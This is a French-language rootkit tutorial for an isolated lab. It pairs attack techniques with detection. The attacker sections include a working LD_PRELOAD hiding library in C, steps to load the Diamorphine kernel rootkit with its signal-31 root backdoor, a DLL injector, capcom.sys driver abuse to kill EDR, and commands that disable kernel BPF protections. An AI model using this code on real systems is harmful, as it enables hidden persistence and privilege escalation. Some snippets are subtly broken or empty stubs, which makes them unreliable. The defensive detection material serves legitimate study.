Rootkit Linux & Windows : De l’ombre à la lumière – Guide Maestro 2026

🎯 Introduction : Pourquoi ce tutoriel ?

Les rootkits sont des programmes malveillants conçus pour masquer la présence d’un attaquant sur un système. En 2026, les techniques ont évolué : des simples hooks LD_PRELOAD aux modules kernel (LKM) jusqu’aux rootkits eBPF (la nouvelle génération) et, côté Windows, aux drivers vulnérables (BYOVD). Ce tutoriel vous plonge dans les deux rôles : l’attaquant qui déploie le rootkit, et le défenseur qui le détecte, l’analyse et le neutralise. Tout est réalisé en laboratoire isolé (snapshots, réseau host‑only, kernels récents 6.8/6.12 LTS). À la fin, vous saurez non seulement comment ces outils fonctionnent, mais surtout comment les détecter avec les outils modernes (Tetragon, Falco, bpftool, Volatility, etc.).

🔧 Laboratoire Linux – Préparation

VM Cible Linux : Ubuntu 24.04 LTS avec kernel 6.12 LTS (le plus courant en prod 2026).

• Installer les paquets de développement : sudo apt install build-essential linux-headers-$(uname -r) gcc make bpftool linux-tools-$(uname -r) git.
• Pour les tests de rootkit eBPF, désactiver temporairement les protections (en lab uniquement) :

  echo 0 | sudo tee /proc/sys/kernel/unprivileged_bpf_disabled
  # ou via sysctl
  sudo sysctl kernel.unprivileged_bpf_disabled=0
  # Kernel lockdown peut aussi être désactivé dans GRUB (kernel_lockdown=0)

• Protections modernes (2026) : En production, ces protections sont activées ; nous les désactivons pour la démonstration.
• Créer un utilisateur sans privilèges (victime).

VM Attaquant (Kali) : Kali Linux, outillée avec gcc, bpftool, python3, metasploit (optionnel).

VM Sniper (analyse) : Ubuntu, avec volatility3, avml, rkhunter, chkrootkit, tetragon, falco.

Réseau : host‑only (192.168.100.0/24).

👿 Partie Attaquant – Techniques Linux 2026

// libhide.c – rootkit user-land minimal
#define _GNU_SOURCE
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

#define HIDE_PID 1337
#define HIDE_FILE "secret.txt"

typedef struct dirent* (*orig_readdir_t)(DIR *);
orig_readdir_t orig_readdir = NULL;

// hook de readdir – cache les entrées qui correspondent au PID ou au fichier
struct dirent *readdir(DIR *dirp) {
    if (!orig_readdir) orig_readdir = dlsym(RTLD_NEXT, "readdir");
    struct dirent *ent;
    while ((ent = orig_readdir(dirp))) {
        // Cacher le fichier secret.txt
        if (strstr(ent->d_name, HIDE_FILE))
            continue;
        // Cacher le répertoire /proc/1337
        if (strstr(dirp->__dd_buf, "/proc") && strstr(ent->d_name, "1337"))
            continue;
        return ent;
    }
    return NULL;
}
// Compilation : gcc -shared -fPIC -o libhide.so libhide.c -ldl

# Copier sur la cible (via scp, ou créer directement)
scp libhide.so user@cible:/tmp/
ssh user@cible
export LD_PRELOAD=/tmp/libhide.so
# Tester avec un processus
sleep 1337 &
ps aux | grep 1337        # → invisible
# Tester avec un fichier
touch /tmp/secret.txt
ls /tmp | grep secret     # → invisible

# Rechercher les processus avec LD_PRELOAD
grep -r LD_PRELOAD /proc/*/environ 2>/dev/null | grep -v ""
# Vérifier les bibliothèques chargées (ex: dans un shell suspect)
lsof -p $$ | grep -E "\.so" | grep -vE "libc|ld-linux"
# Outil rkhunter
sudo rkhunter --check | grep -i preload

# Sur la VM attaquant, clonez le dépôt officiel
git clone https://github.com/m0nad/Diamorphine
cd Diamorphine
make

# Copier le module sur la cible
scp diamorphine.ko user@cible:/tmp/
# Sur la cible, charger le module (en root)
sudo insmod /tmp/diamorphine.ko

# Masquer un PID (ex: 1337)
echo 1337 > /proc/diamorphine/hide
# Masquer un fichier
echo "/tmp/secret.txt" > /proc/diamorphine/hide_file
# Le module devient invisible dans lsmod (car il se cache lui-même)
lsmod | grep diamorphine   # → vide

# Optionnel : activer un backdoor (signal 31 pour obtenir root)
kill -31 1337   # si 1337 est un processus utilisateur, il devient root

# 1. Vérifier les modules cachés avec chkrootkit
sudo chkrootkit -q | grep -i diamorphine
# 2. Utiliser volatility sur un dump mémoire
sudo avml /tmp/memdump.raw   # (installer avml)
vol -f /tmp/memdump.raw linux.lsmod   # affiche tous les modules, même cachés
vol -f /tmp/memdump.raw linux.check_syscall   # détecte les hooks
# 3. Observer les traces dans /proc/kallsyms (mais ftrace les rend invisibles ?)

// spica_kprobe.c – cache un fichier et un PID via kprobe sur getdents64
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <linux/ptrace.h>

char _license[] SEC("license") = "GPL";

#define HIDE_PID 1337
#define HIDE_FILE "secret.txt"

SEC("kprobe/__x64_sys_getdents64")
int hook_getdents(struct pt_regs *ctx) {
    // Le second argument de getdents64 est le buffer de résultat (struct linux_dirent64 *)
    void *buf = (void *)PT_REGS_PARM2(ctx);
    // Ici, il faudrait parcourir le buffer et supprimer les entrées correspondant à HIDE_PID et HIDE_FILE
    // La manipulation du buffer en eBPF est complexe (lecture/écriture mémoire).
    // Pour un PoC simple, on peut simplement bloquer la lecture du répertoire /proc/1337
    // via un filtre sur le chemin. Exemple avec bpf_probe_read_str.
    return 0;  // laisse passer normalement
}
// Note : un vrai rootkit eBPF doit manipuler le buffer, ce qui nécessite des helpers spécifiques.
// Le code complet dépasse le cadre de ce tutoriel, mais le concept est là.

clang -O2 -target bpf -c spica_kprobe.c -o spica.o
sudo bpftool prog load spica.o /sys/fs/bpf/spica
sudo bpftool prog attach pinned /sys/fs/bpf/spica kprobe __x64_sys_getdents64

# Lister les programmes eBPF chargés
sudo bpftool prog list
# Vérifier les kprobes actifs
sudo cat /sys/kernel/debug/tracing/kprobe_events
# Utiliser Tetragon (outil de détection basé sur eBPF)
sudo tetragon --config tetragon.yaml
# Falco peut aussi détecter les chargements de programmes eBPF suspects
sudo falco -r /etc/falco/falco_rules.yaml | grep -i bpf

crds:
  - kind: TracingPolicy
    apiVersion: cilium.io/v1alpha1
    metadata:
      name: detect-suspicious-kprobe
    spec:
      kprobes:
      - call: "__x64_sys_getdents64"
        syscall: true
        args:
        - index: 0
          type: PT_REGS_PARM1
      selectors:
      - matchPIDs: [0] # tous les processus
        matchArgs:
        - index: 0
          operator: Prefix
          values: ["/proc/"]

🪟 Partie Attaquant – Windows Rootkits 2026

// inject.cpp – injecte une DLL dans un processus cible
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

DWORD GetProcessId(const char* procName) {
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
    if (Process32First(hSnap, &pe)) {
        do {
            if (!_stricmp(pe.szExeFile, procName)) {
                CloseHandle(hSnap);
                return pe.th32ProcessID;
            }
        } while (Process32Next(hSnap, &pe));
    }
    CloseHandle(hSnap);
    return 0;
}

int main(int argc, char* argv[]) {
    if (argc != 3) {
        printf("Usage: inject.exe <process_name> <dll_path>\n");
        return 1;
    }
    DWORD pid = GetProcessId(argv[1]);
    if (!pid) {
        printf("Process not found\n");
        return 1;
    }
    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProc) {
        printf("OpenProcess failed\n");
        return 1;
    }
    LPVOID pRemoteMem = VirtualAllocEx(hProc, NULL, strlen(argv[2])+1, MEM_COMMIT, PAGE_READWRITE);
    WriteProcessMemory(hProc, pRemoteMem, argv[2], strlen(argv[2])+1, NULL);
    LPTHREAD_START_ROUTINE pLoadLib = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    CreateRemoteThread(hProc, NULL, 0, pLoadLib, pRemoteMem, 0, NULL);
    printf("Injection attempted\n");
    CloseHandle(hProc);
    return 0;
}
// Compilation (MinGW) : x86_64-w64-mingw32-gcc -o inject.exe inject.cpp

$process = Get-Process -Name explorer
$handle = $process.Handle
# Utiliser des appels Win32 via Add-Type pour injecter (code plus long)
# Exemple avec CreateRemoteThread

# Process Explorer de Sysinternals : afficher les handles et les DLL chargées
# Sysmon Event ID 7 (image loaded) – surveiller les chargements de DLL depuis des chemins suspects
Get-Process | Select-Object -ExpandProperty Modules | Where-Object {$_.FileName -like "*malicious*"}

# Le driver capcom.sys (fichier légitime de Capcom) contient une vulnérabilité permettant d'écrire en mémoire kernel.
# Télécharger le driver (pour test uniquement) et le charger
sc.exe create capcom type= kernel binPath= C:\Temp\capcom.sys
sc.exe start capcom

# Utiliser un outil comme "Capcom.sys Exploit" pour désactiver l'EDR
# Exemple avec un PoC disponible sur GitHub (à adapter)
# Après exploitation, on peut tuer les processus de l'EDR ou modifier des hooks.

# Vérifier les services kernel non signés ou récents
sc.exe query type= driver | findstr /i "SERVICE_START"
# Utiliser DriverView de NirSoft pour lister tous les drivers chargés
# Sigcheck de Sysinternas : vérifier les signatures
sigcheck -c C:\Windows\System32\drivers\*.sys | findstr /i "unsigned"
# Microsoft Driver Blocklist (mise à jour KB5025279) bloque les drivers vulnérables connus

🚫 Ce qui est (presque) mort en 2026

😇 Partie Défenseur – Détection et forensics 2026

1. Détection Linux (commande rapide)

# User-land
grep -r LD_PRELOAD /proc/*/environ 2>/dev/null
lsof -p $$ | grep -E "\.so" | grep -vE "libc|ld-linux"
# LKM
sudo chkrootkit -q
sudo rkhunter --check
sudo lsmod | grep -v " "   # certains rootkits cachent leur module, mais volatility les voit
# eBPF
sudo bpftool prog list
sudo cat /sys/kernel/debug/tracing/kprobe_events

2. Détection Windows

# DLL injection
Get-Process | Select-Object -ExpandProperty Modules | Group-Object -Property FileName | Where-Object {$_.Count -gt 10}
# BYOVD
Get-WmiObject Win32_SystemDriver | Where-Object {$_.State -eq "Running" -and $_.StartMode -eq "Manual"} | Select-Object Name,PathName

3. Outils de chasse modernes 2026

• Tetragon (Cilium) – n°1 pour eBPF runtime detection
• Falco – règles communautaires très à jour pour kprobe, LSM, execve anomalies
• bpftool + eBPF verifier logs – /sys/kernel/debug/tracing + temporal analysis
• Osquery + Velociraptor – collecte artefacts eBPF
• Windows 2026 : Sysmon Event ID 6 (Driver loaded), 21 (WMI event), 23 (File executable detected), Microsoft Defender for Endpoint (behavioral blocking BYOVD), Process Hacker / Process Explorer, Autoruns

4. Forensics mémoire

Linux : dump avec avml (plus sûr que LiME).

wget https://github.com/microsoft/avml/releases/download/v0.9.0/avml
chmod +x avml
sudo ./avml /tmp/memdump.raw

Windows : utiliser DumpIt ou WinPmem.

Analyse avec Volatility3 :

# Linux
vol -f memdump.raw linux.lsmod
vol -f memdump.raw linux.pslist
vol -f memdump.raw linux.check_syscall
# Windows
vol -f memdump.raw windows.pslist
vol -f memdump.raw windows.modules
vol -f memdump.raw windows.driverscan

🧹 Neutralisation et nettoyage

• Linux user‑land : supprimer la variable LD_PRELOAD, tuer les processus infectés.
• Linux LKM : sudo rmmod diamorphine (si le nom est connu), sinon redémarrer depuis snapshot.
• Linux eBPF : sudo bpftool prog detach pinned /sys/fs/bpf/... ou sudo rm /sys/fs/bpf/*, puis redémarrer.
• Windows DLL : utiliser Process Explorer pour voir les handles, forcer la libération.
• BYOVD : sc.exe stop <driver> puis supprimer le driver, appliquer le correctif de sécurité du fournisseur.
• Recommandation finale : restaurer depuis un snapshot sain est la méthode la plus fiable.

🧭 Mapping MITRE ATT&CK 2026

🛡️ Stratégies de défense modernes (2026)

🔬 Exercices pratiques

1. Linux user‑land : Compilez libhide.so, cachez un processus et un fichier. Utilisez grep et rkhunter pour les détecter.
2. LKM : Chargez Diamorphine, cachez un PID, puis utilisez Volatility sur un dump mémoire pour le démasquer.
3. eBPF : Compilez un PoC de type SPiCa, chargez‑le, puis utilisez bpftool prog list et Tetragon pour détecter.
4. Windows DLL injection : Injectez une DLL dans notepad.exe, observez avec Process Explorer et Sysmon.
5. BYOVD : Utilisez un driver vulnérable (ex: capcom.sys) pour écrire en mémoire kernel, détectez avec DriverView.
6. Forensics : Prenez un snapshot avant infection, puis un après, comparez les différences (hors /proc, /sys, /dev).

🎯 Conclusion

Ce tutoriel vous a montré les techniques modernes de rootkits Linux (user‑land, LKM, eBPF) et Windows (DLL injection, BYOVD) du point de vue de l’attaquant et du défenseur. Vous avez appris à les déployer en environnement isolé, mais surtout à les détecter avec des outils de pointe (bpftool, Tetragon, Falco, Volatility) et à mettre en place des contre‑mesures adaptées à 2026. La leçon finale : la sécurité est un équilibre entre connaissance des techniques offensives et mise en place de défenses proactives.